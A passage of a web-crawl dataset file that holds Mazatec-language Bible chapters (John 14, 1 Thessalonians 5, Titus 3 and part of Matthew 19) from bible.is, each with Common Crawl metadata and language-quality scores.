9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/9","date":"2013-12-13T19:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164987957\/warc\/CC-MAIN-20131204134947-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":917,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kì tà chjàn maba‑la̱ jè inìma̱‑no. Katakjiín‑no a̱'ta 'tse̱ Nainá, ti̱'koa̱ katakjiín‑no a̱'ta tsa̱'a̱n. 2Ya̱ ni'ya‑la̱ Na̱'ìn‑na̱ tjín jchán i̱'nde ñánda̱ ma níkjáyeé; tsa mí‑la tsa 'én kixi̱ nga tjín i̱'nde, mí‑la tà chjàn ko̱xín‑no; nga̱ kií jnchro xá tífì‑na nga tífìkindá‑no jngo i̱'nde ra tsa̱jiòn. 3Koni 'sín nga tífia nga tífìkindá‑no i̱'nde, 'koa̱á ti̱'sín kjí'i̱ india‑na, mé‑ni nga íko̱‑no nga ya̱ ki̱tsa̱jna‑te ya̱ ñánda̱ nga kóti̱jna ra 'a̱n. 4Ijyeé 'ya‑nájiòn jè ndi̱yá ra fì ñánda̱ tífia ra 'a̱n. 5'Kia̱á kitsò jè Tomás: ―Na̱'ìn, mì kì 'ya‑ji̱n ñánda̱ tji'mì. ¿Kó'sín ko̱ma‑ni jcha̱‑ji̱n jè ndi̱yá? 6'Kia̱á kitsò Jesús: ―'A̱n‑ná jè ndi̱yá, 'a̱n‑ná jè ra kjo̱hixi̱ ko̱ 'a̱n‑ná jè kjo̱binachon. Ta̱jngoó a̱'ta tsa̱'a̱n ma kijcho jiòn ñánda̱ tíjna jè Na̱'ìn‑na̱ ra Nainá. 7Tsa ijye kijchaxkon‑nájiòn, ti̱'koa̱á jcha̱xkoón‑te jè Na̱'ìn‑na̱; ko̱ ijyeé 'yaxkon jiòn 'ndi̱ 'ndi̱, nga̱ ijyeé i̱nchichitsíjen‑la. 8'Kia̱á kitsò jè Felipe: ―Ta̱kón‑náji̱n Na̱'ìn‑li, ko̱ ko̱jngoó takòn‑ji̱n. 9Jesús kitsó‑la̱: ―Ji̱ Felipe, kjotseé jchán tíjna̱ko̱‑najiòn, ko̱, ¿a takó kjeé 'yaxkon‑nájiòn? Jè ra ijye kijtsexkon‑na ra 'a̱n, ti̱'koa̱á ijyeé bexkon‑te jè Na̱'ìn‑na̱. ¿Mé‑ni si‑ni: \"Ta̱kón‑náji̱n jè Na̱'ìn‑li\"? 10¿A mí makjiín‑li nga ta jngoó ma‑naji̱n jè Na̱'ìn‑na̱ ko̱ ra 'a̱n? Jñà 'én ra 'a̱n bakó‑najiòn mì tsa ta 'a̱n bi'tín‑la̱ ijo‑na̱. Jè Na̱'ìn‑na̱ ra ya̱ tjíjngo‑ji̱n, jè‑ní ra tísíhitjasòn jè xá‑la̱. 11Katakjiín‑najiòn nga ta jngoó ma‑naji̱n jè Na̱'ìn‑na̱ ko̱ ra 'a̱n; ko̱ tsa majìn, ya̱ katakjiín‑no a̱'ta 'tse̱ xá ra tí'siaa̱n. 12Ngi 'én kixi̱í ra ko̱xin‑no, jè ra makjiín‑la̱ a̱'ta tsa̱'a̱n, 'koa̱á ti̱'sín 'si̱in koni 'sín tjín jñà kjoa̱ ra 'siaa̱n; skanda isa̱á tà 'ñó tjín‑isa kjoa̱ ra 'si̱in‑isa ra jè, tà nga̱tjì‑la̱ ra 'a̱n, ijyeé ya̱ tífia ñánda̱ nga tíjna jè Na̱'ìn‑na̱. 13Ko̱ nga'tsì ra a̱'ta tsa̱'a̱n si̱jé‑ná jiòn, 'koa̱á 'sín sìhitjásòo̱n, mé‑ni nga jeya kíjna‑ni jè Na̱'ín‑ná a̱'ta 'tse̱ I'ndí‑la̱. 14Nga'tsì ra si̱jé jiòn ra a̱'ta tsa̱'a̱n sìhitjásòn‑ná. 15'Tsa tsjacha‑nájiòn, ti̱hitjasòn jiòn jñà kjo̱téxoma‑na̱. 16'A̱án kitsá'ba‑la̱ jè Na̱'ìn‑na̱ nga katasíkasén jngo‑no jè ra ko̱si̱ko̱‑no, mé‑ni nga ya̱ katijnako̱ ki'ta‑no nga ta mé ni̱chjin‑nioo̱, 17jè ra ko̱xian‑la̱, jé Inìma̱ Tsje‑la̱ Nainá jè ra ko̱kòn‑no ra ngi kjo̱hixi̱. Jñà xi̱ta̱ i̱sà'nde mì kì ko̱kjiín‑la̱ a̱'ta 'tse̱ nga̱ mì kì tsijen‑la̱ kó'ki ko̱ mì kì bexkon; tanga jiòn 'yaxkon‑no nga̱ ya̱á tíjnako̱‑no, ko̱ ya̱á kíjnajin ki'ta‑no. 18'Mì kì tsa síkítsa̱jna jch'a̱n‑no, kjí'i̱tji̱ngi india‑najiòn mé‑ni nga ya̱ kóti̱jnako̱‑no. 19Ta chibaá ni̱chjin chija‑isa nga jñà xi̱ta̱ i̱sà'nde mì kì ti̱ ske̱‑na; tanga ra jiòn, takó maá chítsijen‑nájiòn, ko̱ ti̱'koa̱á ki̱tsa̱jnakon‑te jiòn, nga̱ tíjna̱kon‑ná ra 'a̱n. 20'Kia̱ nga ki̱jchò jè ni̱chjin ra̱kìi̱, jcha̱‑nájiòn nga ya̱á tíjna̱jin‑la̱ jè Na̱'ìn‑na̱ ko̱ jiòn‑jiòn ya̱á titsa̱jnajin‑nájiòn, ko̱ 'a̱n ya̱á tíjna̱jin‑najiòn. 21Jè ra ya̱ tsá'ya jñà kjo̱téxoma‑na̱, ko̱ síhitjasòn koni 'sín tsò, jè‑ní ra ngi kixi̱ kjoa̱ nga tsjake‑na. Tsjakeé ko̱ma jè Na̱'ìn‑na̱ jè ra tsjake‑na ra 'a̱n; ko̱ ti̱'koa̱á tsjake̱é ko̱ma‑te ra 'a̱n ko̱ 'a̱n kokon tsijen‑la̱ ijo‑na̱. 22'Kia̱á iskonangi jè Judas (mì tsa jè Judas Iscariote). Kitsò‑la̱: ―Ji̱ Na̱'ìn, ¿mé‑ni nga ta ji̱n ko̱kón‑náji̱n ijo‑li, ko̱ mì tsa jñà xi̱ta̱ i̱sà'nde ko̱kón‑la̱ ji̱? 23Kiìchja̱á Jesús kitsò‑la̱: ―Jè ra tsjake‑na, tjínè‑la̱ nga si̱hitjasòn jè 'én‑na̱, ko̱ jè Na̱'ìn‑na̱ ko̱tsjake‑ní, ko̱ kji̱nchrabá‑náji̱n jè Na̱'ìn‑na̱ ko̱ 'a̱n nga ya̱ ki̱tsa̱jnako̱‑ji̱n. 24Jè ra mì kì matsjake‑na, mì kì síhitjasòn koni 'sín tsò 'én‑na̱. Ko̱ jñà 'én ra i̱nchina'yá jiòn mì tsa tsa̱'a̱n jiàa̱n, 'tse̱é jè Na̱'ìn‑na̱ ra isìkasén‑na. 25''Koa̱á 'sín tí'bènájmí‑no jñà 'én kìi̱ 'kia̱ nga tíjna̱ko̱-isa‑no. 26Jè ra ko̱si̱ko̱‑no, jè Inìma̱ Tsje‑la̱ Nainá ra jè Na̱'ìn‑na̱ si̱ìkasén‑no ra a̱'ta tsa̱'a̱n, jé ko̱kòn‑ya‑no nga'tsì kjoa̱ ra mì kì fìya‑no ko̱ ti̱'koa̱á si̱íkítsjen‑no nga'tsì 'én ra ko̱tíxian‑no. 27''A̱án tsja‑no jè kjoa̱'nchán. Ko̱ ya̱á síkíjnajin‑no, tanga mì tsa ko̱'sín tsja koni 'sín tsjá jè i̱sà'nde. Kì tà chjàn síkájno jè inìma̱‑no ko̱ kì tà chjàn skon jiòn. 28Ijyeé ina'yá‑nájiòn nga kíxin‑no nga tífì‑náa̱ ko̱ nga kjí'i̱tji̱ngi india‑najiòn nga ya̱ kóti̱jnako̱‑najiòn. Tsa kixi̱í‑la kjoa̱ nga tsjacha‑nájiòn, 'ñó‑la i̱nchimatsja‑no, nga̱ tífì india‑na ya̱ ñánda̱ nga tíjna jè Na̱'ìn‑na̱, nga̱ jè Na̱'ìn‑na̱ isa̱á tíjna ítjòn koni 'a̱n. 29Ti̱'ndi̱í ko̱tíxin‑najiòn, mé‑ni 'kia̱ nga ijye ko̱'sín ko̱ma, ko̱kjiín‑no. 30'Mì kì tsa ti̱ tse kokóna̱jmí‑no nga̱ ijyeé nchrabá jè ra batéxoma i̱ i̱sà'nde ra̱kìi̱. Tanga ni̱mé nga'ñó tjín‑la̱ nga mé ra si̱ìko̱‑na ra jè. 31Tjínè‑la̱ nga ko̱'sín ko̱ma, mé‑ni nga katabe‑ni jñà xi̱ta̱ i̱sà'nde nga tsjake̱‑ná jè Na̱'ìn‑na̱, ko̱ 'koa̱á 'sín 'siaa̱n koni 'sín jè Na̱'ìn‑na̱ tsikí'tin‑na. 'Ti̱sítje̱en, ko̱ tjiaán.\nSan Juan 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/14","date":"2013-12-05T01:41:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037952\/warc\/CC-MAIN-20131204131717-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":698,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè ko̱ ndí tichjaá, mìkiì mochjeén nga xo̱jo̱n si̱t'aà‑nò mé na̱chrjein‑ne nga o̱ko̱ma. 2Jñò, nga̱ jyeé ndaà tíjiìn‑nò, jè na̱chrjein k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn‑ná Jesucristo, k'oa̱á s'ín kjoi̱í koni jngoò xi̱ta̱ chijé xi f'iì nga ni̱tje̱n k'e̱ nga ni̱yá xi nchikoñaá‑la̱. 3K'e̱ nga ki̱tso̱ jñà xi̱ta̱: \"'Nchán titsa̱jnaá, ni̱mé kjoa̱ tjín.\" K'e̱é tà ni̱to̱ón ki̱tjojenè‑la̱ kjo̱xkón koni s'ín mat'in jngoò chjo̱ón xi bijchó na̱chrjein‑la̱ nga ki'ndí 'beé, mìkiì ko̱jno‑la̱. 4Ta̱nga jñò ndí 'ndsè ko̱ ndí tichjaá, mìtsà i̱jiìn jñò titsa̱jnaà jñò. Ko̱ k'oa̱á ma‑ne nga mì k'oa̱á s'ín ko̱mat'ioòn jè na̱chrjein jè, koni ma k'e̱ nga ta ni̱to̱ón fì jngoò xi̱ta̱ chijé. 5Ta̱nga jñò, ngats'ioò, iseèn choòn ñánda titsa̱jnaà, ko̱ na̱chrjein‑né. Nga̱ jñá, mìtsà i̱jiìn jñò titsa̱jnaá ko̱ mìtsà ni̱tje̱n titsa̱jnaá. 6K'oa̱á ma‑ne nga mìkiì k'oa̱ s'e̱én koni s'ín xi̱ta̱ xi kj'ei̱í nga mì titsa̱jnandaà‑jèn mé kjoa̱ xi tjín k'oa̱á ngaya‑la̱ koni tsà kjiyijòfè. Mochjeén‑né nga ki̱tsa̱jnandaá koni jngoò xi̱ta̱ xi tíjnakon, xi nguì ndaà tjín ikon. 7Nga jñà xi̱ta̱ xi oyijòfè, k'e̱é oyijòfè k'e̱ nga jñò. Ko̱ jñà xi mach'i̱, k'e̱é mach'i̱ k'e̱ nga jñò. 8Ta̱nga jñá, ya̱á titsa̱jnaá ñánda iseèn choòn. K'oa̱á ma‑ne nga ndaà si̱jchá yijo‑ná. Jè 'én xi mokjeiín‑ná ko̱ jè kjoa̱tjòcha, jñà ko̱si̱ko̱ ini̱ma̱‑ná koni jngoò soldado xi ndaà kijtsa ini̱ma̱‑la̱ jè chrjoa̱ xi 'mì coraza. Ko̱ k'e̱ nga nguì tíjngoò takoán nga chiñá‑lá jè na̱chrjein k'e̱ nga ki̱tjokàjñaá kjo̱'in, jè ngaya‑la̱ tsí'nguién ki̱cha̱ xi osìko̱ sko̱ soldado. 9Nainá mìtsà koi xá jaàjiìn‑ná nga kjo̱'in tsjá‑ná, jé‑né nga ki̱tjokàjñaá kjo̱'in i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná. 10Nga jè k'en ngajo‑ná mé‑ne k'e̱ nga kjoi̱í ìjngoò k'a‑ne, tsà titsa̱jnakoaán, ko̱ tsà jye k'eén, ya̱á ki̱tsa̱jnakoa̱á. 11K'oa̱á ma‑ne nga ti̱jetakòn ko̱ tjiì‑la nga'ñó xinguio̱o koni s'ín jye titsa̱'nè. 12Ndí 'ndsè ko̱ ndí tichjaá, nìjé‑nòje̱n kjo̱ndaà, jcha̱xkón xi̱ta̱ xi síxáko̱‑nò nga jñà títsa̱jna ítjòn ya̱ i̱jiìn na̱xa̱ndá‑la̱ Nainá ko̱ nga okóya‑nò. 13Ndaà jcha̱xkón ti̱koa̱ ndaà ti̱tsjacha xi̱ta̱ koi, jè kjoa̱‑la̱ xá xi s'ín. 'Nchán titsa̱jnako̱o xinguio̱o. 14K'oa̱ ti̱s'ín bìtsi'ba‑nòje̱n ndí 'ndsè ko̱ ndí tichjaá, ko̱t'ìn‑là nga kàtasíxá jñà xi̱ta̱ xi ta jyò tjíma nga majìn‑la̱ síxá; ti̱'ñó ikon jñà xi indaà tjín ikon; ti̱chját'aà‑là jñà xi tsjìn‑la̱ nga'ñó ya̱ i̱jiìn ini̱ma̱‑la̱; ko̱ kàtas'e‑nò kjoa̱tsejta i̱t'aà ts'e̱ ngats'iì xi̱ta̱‑la̱ Nainá. 15Tsà k'e̱ nga mé kjoa̱ xi ch'o síko̱‑nò xi̱ta̱ xi kj'ei̱í, ti̱kinda̱a xinguio̱o nga mì si̱ìjndà ngajo‑ne. Ta̱ sa̱á tìnè‑là yijo‑nò nga kjit'aà na̱chrjein ndaà ti̱ko̱o xinguio̱o ko̱ ngats'iì xi̱ta̱ xi kj'ei̱í. 16Kjit'aà na̱chrjein tsja t'è‑là ini̱ma̱‑nò. 17Titsi'ba kjit'aà‑là Nainá. 18Ni̱ta̱ mé kjoa̱‑ne, tjiì kjit'aà‑là kjo̱ndaà Nainá. K'oa̱á s'ín mejèn‑la̱ Nainá nga k'oa̱s'ín s'e̱en ngats'ioò xi mokjeiín‑nò i̱t'aà ts'e̱ Cristo Jesús. 19Kì bichjoá ikòn‑là xá xi s'ín Ini̱ma̱ Tsjeè‑la̱ Nainá. 20Kì nachrjekànguioò 'én‑la̱ xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 21Ndaà ndaà chít'aà yije ngats'iì 'én. Jñà ti̱kítsa̱jnatjò xi ndaà tsò. 22Ngats'iì xi ch'o tsò, kì kiì nìkitasòn. 23Jè Nainá xi tsjá kjoa̱'nchán, jngoò k'a tsjeè kàtasíkítsa̱jna‑nò. Ndaà kàtasíkinda̱ ini̱ma̱‑nò, yijo‑nò ko̱ kjo̱hítsjeèn‑nò mé‑ne nga ni̱mé jé s'e̱‑nò jè na̱chrjein k'e̱ nga kjoi̱í ìjngoò k'a jè Jesucristo xi otíxoma‑ná. 24Nga xi̱ta̱ kixi̱‑né jè Nainá xi xó kiìchja̱‑nò, si̱ìkitasòn yijeé kjoa̱ koi. 25'Ndseé ko̱ tichjaá, titsi'batjì‑náje̱n. 26Ti̱ixot'aà ngats'iì xi̱ta̱ 'ndseé nga nguì ko̱ ini̱ma̱‑nò. 27'A̱n, tsja‑nò o̱kixi̱ nga nguixko̱n Na̱'èn‑ná nga kàtaxke̱jiìn‑la̱ xo̱jo̱n jè ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 28Jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná.\n1 Tesalonicenses 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/5","date":"2013-12-13T03:16:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164836485\/warc\/CC-MAIN-20131204134716-00020-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":535,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱kítsjeèn‑la̱ nga kàteèxkón xi xi̱ta̱xá títsa̱jna ko̱ ngats'iì xi kjo̱tíxoma tjíya tsja. Kàta'nchréñijon‑la̱. Kàtasíkitasòn ngats'iì xá xi ndaà tjín. 2Koa̱tìn‑la̱ kì xi̱ta̱á chja̱jno‑la̱; kì xi̱ta̱á kjaán‑ko̱; tà sa̱á kjo̱ndaà kàtas'e‑la̱; nguì indaàkjoa̱ kàtìtsa̱jnako̱ ngats'iì xi̱ta̱. 3Nga sa̱ kjòtseé, jñá, ti̱koa̱á xi̱ta̱ tòndo̱ó komá. Mìkiì na'yàñijoaán. Xìn ndi̱yá tsitjaàyaá. K'oa̱á s'ín ki'né ngats'iì kjoa̱ xi ch'o tjín xi síjé yijo‑ná ko̱ kjoa̱ xi sasén‑la̱. Ya̱á tsitsa̱jnajñaá xi kjoa̱ch'o ko̱ kjoa̱xìtakòn. Tsak'ìn‑ná nga kisìjtikeè‑ná xi̱ta̱. Ti̱koa̱ jñá kinìjticha ngajo‑ná xinguia̱á. 4Ta̱nga Nainá xi ochrjekàjiìn‑ná kjo̱'in, k'e̱ nga tsakó kjo̱ndaà‑la̱ ko̱ kjoa̱tjòcha‑la̱ i̱t'aà ts'e̱ xi̱ta̱, 5tsachrjekàjiìn‑ná kjo̱'in. Mìtsà koi kjoa̱‑la̱ nga ndaà tjín kjoa̱kixi̱ xi ki'né. Tà koi‑né nga kjòhi̱ma̱keè‑ná. K'e̱ nga kjòtsjeè ini̱ma̱‑ná, kits'iìn xi̱tse̱ ìjngoò k'a‑ná ko̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá kisìxi̱tse̱ya ìjngoò k'a‑ná. 6I̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo xi ochrjekàjiìn‑ná kjo̱'in, Nainá, 'ñó ndaà kisìkíjnajiìn ini̱ma̱‑ná Ini̱ma̱ Tsjeè‑la̱. 7K'e̱ nga jè kjo̱ndaà‑la̱ Nainá jye kisìkixi̱ya‑ná, k'oa̱á s'ín ki̱tsa̱jnaá nga tíjngoò takoán nga titsa̱chiñá‑lá kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne, jè kjo̱tjò xi tsjá‑ná Nainá nga i̱xti‑la̱ tsò‑ná. 8'Én koi, 'én kixi̱‑né. K'oa̱á s'ín mejèn‑na nga 'ñó tìnè‑la̱ xi̱ta̱ mé‑ne jñà xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá ndaà kàtasís'in‑la̱ kjoa̱ xi ndaà tjín. Kjoa̱ koi, ndaà tjín; mochjeén‑la̱ ngats'iì xi̱ta̱. 9Ta̱nga kì kiì nìs'in‑la̱ xi kjoa̱ tòndo̱ ko̱ kjoa̱ ts'e̱ xi̱ta̱ jchínga kjòtseé xi mìtsà kixi̱ kjoa̱. Kì kjoa̱siì nìs'in‑la̱ ko̱ kjoa̱ xi chitiya‑ná i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ Moisés. Kjoa̱ koi, mìkiì mochjeén, ni̱mé chjí‑la̱. 10Jè xi̱ta̱ xi na̱xa̱ndá‑la̱ Cristo mejèn‑la̱ si̱ìjòya, jò, jàn k'a ti̱nókjoa̱ 'nchré‑la̱à. Tsà mìkiì 'nchréñijon‑lè, na̱chrjekàjiìn. 11Ji̱, jyeé 'yi nga xi̱ta̱ jè, jyeé its'oòn kjo̱hítsjeèn‑la̱. Ch'o tís'ín. Jé tíhónè‑la̱ yijo‑la̱. 12K'e̱ nga sìkasén‑lè Artemas, o xi jè Tíquico, ti̱xátíyi nchrobáchón‑ná Nicópolis. K'oa̱á s'ín kiskoòsòn‑la̱, ya̱á kóti̱jna na̱chrjein cho̱ 'nchán. 13Ti̱chját'aà‑la̱ Zenas, maestro ts'e̱ kjo̱tíxoma, ko̱ Apolos; tjiì‑la̱ mé xi mochjeén‑la̱ mé‑ne nga ko̱ma kjoi̱‑ne ñánda nchifì nga ni̱mé si̱chijat'aà‑la̱. 14Jñà xi xi̱ta̱ tsa̱ján, k'oa̱á ti̱s'ín kàtama‑la̱ kjo̱ndaà xi ndaà tjín nga kàtasíchját'aà‑la̱ xi̱ta̱ xi chijat'aà‑la̱ tsojmì mé‑ne nga ndaà si̱ìkjeén‑ne na̱chrjein‑la̱ nga títsa̱jnakon, ko̱maá si̱ìkíjna jngoò kjoa̱ xi ndaà mochjeén. 15Ngats'iì xi̱ta̱ xi i̱ títsa̱jnako̱‑na tísíhixat'aà‑lè. Ti̱koa̱ ti̱ixat'eì yije jñà xi matsjakeè‑ná nga ngásòn mokjeiín‑ná i̱t'aà ts'e̱ Cristo. Kjo̱ndaà‑la̱ Nainá kàtìjnako̱‑nò ngats'ioò. K'oa̱s'ín kàtama.\nTito 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Titus\/3","date":"2013-12-10T21:35:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026161\/warc\/CC-MAIN-20131204133346-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":357,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye kiìchja̱ jñà 'én kìi̱ Jesús, itjojiín ya̱ nangi Galilea nga kijì ya̱ nangi Judea ra tíjna ya̱ a̱jto̱n ndáje̱ Jordán. 2'Ñó kjìn xi̱ta̱ kijìtji̱ngi‑la̱ ko̱ ya̱á isinda‑ni xi̱ta̱ ra kiya. 3Ijchó i'ka xi̱ta̱ fariseo ya̱ ñánda̱ tíjna Jesús nga mejèn‑la̱ sko̱ónda̱cha̱‑la̱ nga iskonangi‑la̱, kitsò‑la̱: ―¿A tjí'ndeé‑la̱ jè ra xi̱ta̱ 'xi̱n nga ma jngó kjá tsjín‑ni chjo̱ón‑la̱ ni̱'sín ta mé kjoa̱ 'sa̱‑ni? 4Jesús kitsó‑la̱: ―¿A kjeé chitá'yá jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá 'kia̱ nga ti̱'sa̱ tsikínda xi̱ta̱, \"ko̱ chjo̱ón ko̱ 'xi̱ín tsikínda\"? 5Ko̱ kitsò‑isa: \"'Koa̱á ma‑ni nga jè xi̱ta̱ 'xi̱n, 'kia̱ nga ki̱xan, tsjín jè na̱'ìn‑la̱ ko̱ tsjín jè na̱‑la̱; ta jé chjo̱ón‑la̱ kíjnako̱; ko̱ jngoó ijo ko̱ma‑ni ta ngajòo̱.\" 6Mì tsa ti̱ jò ma‑ni 'kia̱ nga ijye kàbixan; tà jngoó ijo kàma‑ni. 'Koa̱á ma‑ni nga mì kì ma nga jñà xi̱ta̱ si̱ìtsjin‑ni xákjén jñà ra jè Nainá isìjngo. 7Jñà xi̱ta̱ fariseo 'kia̱á iskonangi‑la̱ Jesús, nga kitsò‑la̱: ―¿Mé‑ni ko̱'sín kitsò‑ni jè Moisés nga maá jngo xa̱jo̱n katasijna masen, ko̱ ijyeé ko̱ma tsjín‑ni xákjén? 8Jesús kitsó‑la̱: ―Tà kií nga̱tjì‑la̱ nga 'ñó tájajín tjín jè inìma̱‑no, kií kitsjá'nde‑ni jè Moisés nga ma ki̱jmí‑no íchjín‑no, tanga 'kia̱ nga ti̱'sa̱ tjà'tsin‑la̱ kjoa̱, mì tsa ko̱'sín kjomà. 9Tanga 'a̱n, 'koa̱á xín‑no, jè xi̱ta̱ ra tsjín‑ni chjo̱ón‑la̱ ko̱ kj'ií chjo̱ón ki̱xan‑ko̱ india‑ni, kjoa̱chijngií tí'sín. Ko̱ jè xi̱ta̱ 'xi̱n ra ki̱xan‑ko̱ jè chjo̱ón ra kitsjin‑ni 'xi̱n‑la̱ ti̱'koa̱á kjoa̱chijngií tí'sín‑te. Ta 'kia̱‑ní ma tsjín‑ni chjo̱ón‑la̱, tsa 'kia̱ jè chjo̱ón, kj'ií xi̱ta̱ 'xi̱n ki̱chja̱‑la̱. 10Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús kitsó‑ní: ―¿Tsa 'koa̱á 'sín tjín kjoa̱ a̱'ta 'tse̱ xi̱ta̱ ra bixan, isa̱á‑la nda‑ni tsa mì kì ki̱xan xi̱ta̱? 11Jesús kitsó‑la̱: ―Tjín xi̱ta̱ ra mì kì makjiín‑la̱ jè kjo̱bítsjen kìi̱, tanga tà jñá ko̱kjiín‑la̱ jñà xi̱ta̱ ra ijye Nainá kitsjà‑la̱ nga ko̱kjiín‑la̱. 12Tjín xi̱ta̱ 'xi̱n ra xá ko̱'sín tsin‑ni nga mì íchjín si̱ìsin, ko̱ tjín xi̱ta̱ 'xi̱n ra xá xi̱ta̱ faháxìn‑la̱ nga mì íchjín koa̱à'ta ikon, ko̱ tjín ra xá ko̱'sín kitsjá‑la̱ ijo‑la̱ nga mì íchjín si̱ìsin ta nga̱tjì‑la̱ nga ya̱ mejèn‑la̱ isa̱ nda si̱hitjasòn koni 'sín tjín kjo̱téxoma 'tse̱ ngajmi. Jè ra chíkjoa̱‑la̱ nga ska̱ábé jè kjo̱bítsjen ra̱kìi̱, katakjábé. 13Jñà xi̱ta̱ 'jiìkó i'ka ndí i̱xti ya̱ ñánda̱ nga tíjna Jesús, nga mejèn‑la̱ kátásòn‑la̱ tsja ko̱ nga katabítsa'ba'tin, tanga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús tsakátiko̱ó jñà xi̱ta̱ ra 'jiìkó jñà ndí i̱xti kìi̱. 14'Kia̱á kitsò‑la̱ Jesús: ―Ti̱'nde‑la jñà ndí i̱xti nga katanchrabá'ta‑na. Kì jiòn batechjà‑la. Nga̱ jñà xi̱ta̱ ra ko̱'sín tjín inìma̱‑la̱ koni kjòn 'tse̱ jñà ndí i̱xti, ijyeé 'tse̱é nga'tsì kjo̱nda ra tjín ya̱ ñánda̱ nga tíbatéxoma jè ra tíjna ngajmi. 15Jesús tsakásòn‑la̱ tsja jñà ndí i̱xti; ko̱ a̱kjòn kijì‑ni ya̱ i̱'nde ra̱kìi̱. 16Jngo xi̱ta̱ ra 'sa̱ i̱xti‑isa ijchòjkon Jesús, iskonangi‑la̱, kitsò‑la̱: ―Ji̱ maestro, ¿mé kjo̱nda ra 'siaa̱n nga ma 'se̱‑ná kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱? 17Jesús kitsó‑la̱: ―¿Mé‑ni nga 'a̱n chjinangi‑ná mé kjoa̱ ra nda tjín? Tà jngoó‑ni jè Nainá ra xi̱ta̱ nda. Tanga tsa mejèn‑li nga 'se̱‑li kjo̱binachon ra mì kì fehe'ta, ti̱hitjasìn jñà kjo̱téxoma‑la̱ Nainá. 18Xi̱ta̱ ra̱kìi̱ iskonangi‑ní, kitsò: ―¿Ñáa̱ kjo̱téxoma? Jesús kitsó‑la̱: ―\"Kì xi̱ta̱ nì'kin; kì kjoa̱chijngi 'nì; kì kjoa̱chijé 'nì; kì 'én ndiso fanè‑la̱ xi̱ta̱ ra kj'ií; 19nda jcha̱xkín jè na̱'ìn‑li ko̱ jè na̱‑li; ko̱ ko̱'sín tsjacha 'ti̱ìn jñà xi̱ta̱ xàngi̱i koni 'sín nga tsjachi jè ijo‑li.\" 20Jè xi̱ta̱ ti ra̱kìi̱ kitsó‑ní: ―Tísìhitjásòn ijye‑náa̱ nga'tsì kjoa̱ kìi̱; ¿mé ra jchi̱ja‑isa‑na? 21Jesús kitsó‑la̱: ―Tsa mejèn‑li nga xi̱ta̱ kixi̱ ka̱mi, ta̱ti̱na ijyi nga'tsì tsajmì ra tjín‑li. Ko̱ jè to̱n, ti̱ka'bí‑la̱ jñà xi̱ta̱ ra i̱ma̱ títsa̱hijyo mé‑ni nga tse kjo̱nda 'se̱‑li ya̱ ján ngajmi. Ko̱ a̱kjòn nchrabátji̱ngi‑ná. 22'Kia̱ nga kií'nchré jñà 'én kìi̱ jè ti ra̱kìi̱, 'ñó ba ki'se‑la̱ nga kijì‑nì, ta nga̱tjì‑la̱ nga̱ 'ñó nchi̱ná. 23Jesús, 'kia̱á kitsò‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱: ―'Koa̱á xin kixi̱‑no. 'Ñó chjá ka̱ma‑la̱ jñà xi̱ta̱ ra nchi̱ná nga kjoa̱à'sen‑jin ya̱ ñánda̱ nga tíbatéxoma jè ra tíjna ngajmi. 24'Koa̱á xín india‑no, 'ñó chjá ka̱ma‑la̱ nga kjoa̱à'sen‑jin ya̱ ñánda̱ nga tíbatéxoma Nainá; skanda isa̱á‑la chiba chjá ka̱ma‑la̱ jngo cho̱ camello nga 